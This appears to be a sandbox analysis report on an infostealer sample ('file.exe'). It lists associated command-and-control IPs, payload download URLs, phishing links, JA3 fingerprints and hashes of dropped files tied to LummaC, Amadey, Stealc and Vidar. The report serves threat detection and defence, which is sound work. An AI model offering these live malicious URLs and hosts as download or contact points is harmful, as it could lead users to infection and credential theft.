	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.classify-client.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
prod.balrog.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	sus.ps1	Get hash	malicious	LummaC	Browse	172.67.167.249
	https://webemail.instittute.click/management.html?bold=acc@lmm.gr	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	WSock.dll	Get hash	malicious	Ramnit	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	KEFttAEb.vbs	Get hash	malicious	HTMLPhisher	Browse	172.67.211.183
	KEFttAEb.vbs	Get hash	malicious	PureCrypter	Browse	172.67.211.183
	DEVIS_VALIDE.js	Get hash	malicious	XWorm	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	aspweb88.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	aspweb88.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	https://forms.office.com/e/sx5d94wMnA	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	AI_ChainedPackageFile.VistaSoftware.exe	Get hash	malicious	PureCrypter	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	https://lmmoye.org/file/oL/xzw/	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	740d3a.msi	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	AI_ChainedPackageFile.VistaSoftware.exe	Get hash	malicious	PureCrypter	Browse	52.149.20.212 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	jokLq9gHyc.exe	Get hash	malicious	INC Ransomware	Browse	188.114.96.3
	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	188.114.96.3
	sus.ps1	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	AaronGiles(1).exe	Get hash	malicious	PureCrypter	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CGDBGCBGIDHCBGDHIEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DAAAKFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFBAFIDAECAKFHJDBAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGHIIJKEBGIDHIDBKJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJKKKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJEBKJDAFHJDGDHJKKEGIJDAKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: qlI3ReINCV.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4419072
Entropy (8bit):	7.985771530668077
Encrypted:	false
SSDEEP:	98304:310DA+t/7OvVb9RJ55MrfFqLppk2qwkncfKi1iGOL:3qDA+tTO7TMELYrncHYGI
MD5:	6C252BD0D2276C27AF37629D8CF891DB
SHA1:	77A8F28E1594FFDCA929E0F7528CE578A2758282
